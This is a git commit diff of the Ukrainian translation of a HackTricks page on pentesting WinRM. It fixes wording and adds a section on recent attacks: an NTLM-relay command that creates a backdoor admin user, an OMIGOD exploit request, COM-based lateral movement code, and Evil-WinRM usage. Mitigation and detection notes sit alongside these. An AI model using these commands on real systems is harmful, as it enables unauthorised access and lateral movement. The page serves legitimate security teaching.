mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.
This commit is contained in:
		
							parent
							
								
									1f16406041
								
							
						
					
					
						commit
						e2294d4784
					
				@ -11,7 +11,7 @@
 | 
			
		||||
- **5985/tcp (HTTP)**
 | 
			
		||||
- **5986/tcp (HTTPS)**
 | 
			
		||||
 | 
			
		||||
Відкритий порт зі списку вище свідчить про те, що WinRM було налаштовано, що дозволяє спроби ініціювати віддалену сесію.
 | 
			
		||||
Відкритий порт зі списку вище означає, що WinRM було налаштовано, що дозволяє спроби ініціювати віддалену сесію.
 | 
			
		||||
 | 
			
		||||
### **Ініціювання сесії WinRM**
 | 
			
		||||
 | 
			
		||||
@ -26,11 +26,11 @@ Set-Item wsman:\localhost\client\trustedhosts *
 | 
			
		||||
```bash
 | 
			
		||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
 | 
			
		||||
```
 | 
			
		||||
Цей метод дозволяє віддалено налаштувати WinRM, підвищуючи гнучкість у керуванні Windows-машинами з відстані.
 | 
			
		||||
Цей метод дозволяє віддалено налаштувати WinRM, підвищуючи гнучкість в управлінні Windows-машинами з відстані.
 | 
			
		||||
 | 
			
		||||
### Перевірте, чи налаштовано
 | 
			
		||||
 | 
			
		||||
Щоб перевірити налаштування вашої атакуючої машини, використовується команда `Test-WSMan`, щоб перевірити, чи правильно налаштовано WinRM на цільовій машині. Виконавши цю команду, ви повинні очікувати отримати деталі щодо версії протоколу та wsmid, що вказує на успішну конфігурацію. Нижче наведені приклади, що демонструють очікуваний вихід для налаштованої цілі в порівнянні з неналаштованою:
 | 
			
		||||
Щоб перевірити налаштування вашої атакуючої машини, команда `Test-WSMan` використовується для перевірки, чи правильно налаштовано WinRM на цільовій машині. Виконавши цю команду, ви повинні очікувати отримати деталі щодо версії протоколу та wsmid, що вказує на успішну конфігурацію. Нижче наведені приклади, що демонструють очікуваний вихід для налаштованої цілі в порівнянні з неналаштованою:
 | 
			
		||||
 | 
			
		||||
- Для цілі, яка **налаштована** правильно, вихід виглядатиме приблизно так:
 | 
			
		||||
```bash
 | 
			
		||||
@ -40,7 +40,7 @@ Test-WSMan <target-ip>
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
- Навпаки, для цілі, **не** налаштованої для WinRM, це призведе до відсутності такої детальної інформації, підкреслюючи відсутність належної конфігурації WinRM.
 | 
			
		||||
- Навпаки, для цілі **не** налаштованої для WinRM, це призведе до відсутності такої детальної інформації, підкреслюючи відсутність належного налаштування WinRM.
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
 | 
			
		||||
```
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Ви також можете **виконати команду вашої поточної PS консолі за допомогою** _**Invoke-Command**_. Припустимо, що у вас локально є функція під назвою _**enumeration**_, і ви хочете **виконати її на віддаленому комп'ютері**, ви можете зробити:
 | 
			
		||||
Ви також можете **виконати команду вашої поточної PS консолі через** _**Invoke-Command**_. Припустимо, що у вас локально є функція під назвою _**enumeration**_, і ви хочете **виконати її на віддаленому комп'ютері**, ви можете зробити:
 | 
			
		||||
```bash
 | 
			
		||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
 | 
			
		||||
```
 | 
			
		||||
@ -89,7 +89,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
 | 
			
		||||
 | 
			
		||||
### **Примусове відкриття WinRM**
 | 
			
		||||
 | 
			
		||||
Щоб використовувати PS Remoting та WinRM, але комп'ютер не налаштований, ви можете активувати його за допомогою:
 | 
			
		||||
Щоб використовувати PS Remoting та WinRM, але комп'ютер не налаштований, ви можете увімкнути його за допомогою:
 | 
			
		||||
```bash
 | 
			
		||||
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
 | 
			
		||||
```
 | 
			
		||||
@ -160,7 +160,7 @@ docker run -it quickbreach/powershell-ntlm
 | 
			
		||||
$creds = Get-Credential
 | 
			
		||||
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
 | 
			
		||||
```
 | 
			
		||||
### Використання скрипта на ruby
 | 
			
		||||
### Використання скрипта на Ruby
 | 
			
		||||
 | 
			
		||||
**Код витягнуто з тут:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
 | 
			
		||||
```ruby
 | 
			
		||||
@ -220,11 +220,77 @@ end
 | 
			
		||||
 | 
			
		||||
- `port:5985 Microsoft-HTTPAPI`
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Останні вразливості та наступальні техніки (2021-2025)
 | 
			
		||||
 | 
			
		||||
### NTLM реле безпосередньо до WinRM (WS-MAN)
 | 
			
		||||
Оскільки Impacket 0.11 (травень 2023) `ntlmrelayx.py` може релеювати захоплені NTLM облікові дані безпосередньо до **WS-MAN**/WinRM слухача. Коли хост все ще слухає на **некодованому HTTP (5985)**, зловмисник може поєднати *mitm6* (або *Responder*), щоб примусити аутентифікацію та отримати виконання коду на рівні SYSTEM:
 | 
			
		||||
```bash
 | 
			
		||||
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
 | 
			
		||||
--command "net user pwned P@ssw0rd! /add"
 | 
			
		||||
```
 | 
			
		||||
Зменшення ризиків
 | 
			
		||||
* Вимкніть HTTP-слухачі – `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
 | 
			
		||||
* Примусьте HTTPS та увімкніть Розширений захист для автентифікації (EPA) на новіших версіях Windows.
 | 
			
		||||
 | 
			
		||||
### OMIGOD – CVE-2021-38647 (Azure OMI)
 | 
			
		||||
Агенти Azure Linux використовують службу **Open Management Infrastructure (OMI)**, яка відкриває API WinRM/WS-MAN на портах **5985/5986**. Логічна помилка дозволила **неавтентифіковане RCE як root**:
 | 
			
		||||
```text
 | 
			
		||||
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'
 | 
			
		||||
```
 | 
			
		||||
Виправте або видаліть OMI (версія ≥ 1.6.8-1) та заблокуйте ці порти з Інтернету.
 | 
			
		||||
 | 
			
		||||
### Зловживання WSMan.Automation COM для бічного переміщення
 | 
			
		||||
WinRM можна використовувати без PowerShell через об'єкт `WSMan.Automation` COM – корисно на системах у режимі обмеженої мови. Інструменти, такі як *SharpWSManWinRM*, обгортають цю техніку:
 | 
			
		||||
```powershell
 | 
			
		||||
$ws = New-Object -ComObject 'WSMan.Automation'
 | 
			
		||||
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
 | 
			
		||||
$cmdId   = $session.Command('cmd.exe',@('/c','whoami'))
 | 
			
		||||
$session.Signal($cmdId,0)
 | 
			
		||||
```
 | 
			
		||||
Цепочка виконання (`svchost → wmiprvse → cmd.exe`) ідентична класичному PS-Remoting.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Оновлення інструментів
 | 
			
		||||
 | 
			
		||||
* **Evil-WinRM v3.x (2024)** – тепер підтримує **Kerberos** (`-k` / `--spn`) та **сертифікатну** аутентифікацію (`--cert-pem`/`--key-pem`), ведення журналу сесій (`-L`) та можливість вимкнення завершення віддалених шляхів (`-N`).
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
* **Python – `pypsrp` 0.9 (2024)** пропонує WinRM та PS-Remoting з Linux, включаючи CredSSP та Kerberos:
 | 
			
		||||
 | 
			
		||||
```python
 | 
			
		||||
from psrp.client import Client
 | 
			
		||||
c = Client('srv01', username='ACME\\j.doe', ssl=True)
 | 
			
		||||
print(c.execute_cmd('ipconfig /all').std_out.decode())
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
* **Виявлення** – моніторинг журналу **Microsoft-Windows-WinRM/Operational**:
 | 
			
		||||
* Подія 91 / 163 – створено оболонку
 | 
			
		||||
* Подія 182 – збій аутентифікації
 | 
			
		||||
* У журналі безпеки подія 4262 фіксує IP-адресу джерела (додано у липневих оновленнях 2022 року).
 | 
			
		||||
Збирайте ці дані централізовано та сповіщайте про анонімні або зовнішні IP-адреси.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Shodan
 | 
			
		||||
 | 
			
		||||
- `port:5985 Microsoft-HTTPAPI`
 | 
			
		||||
 | 
			
		||||
## Посилання
 | 
			
		||||
 | 
			
		||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
 | 
			
		||||
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
 | 
			
		||||
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
 | 
			
		||||
 | 
			
		||||
## HackTricks Automatic Commands
 | 
			
		||||
## HackTricks Автоматичні команди
 | 
			
		||||
```
 | 
			
		||||
Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
 | 
			
		||||
Port_Number:  5985     #Comma separated if there is more than one.
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user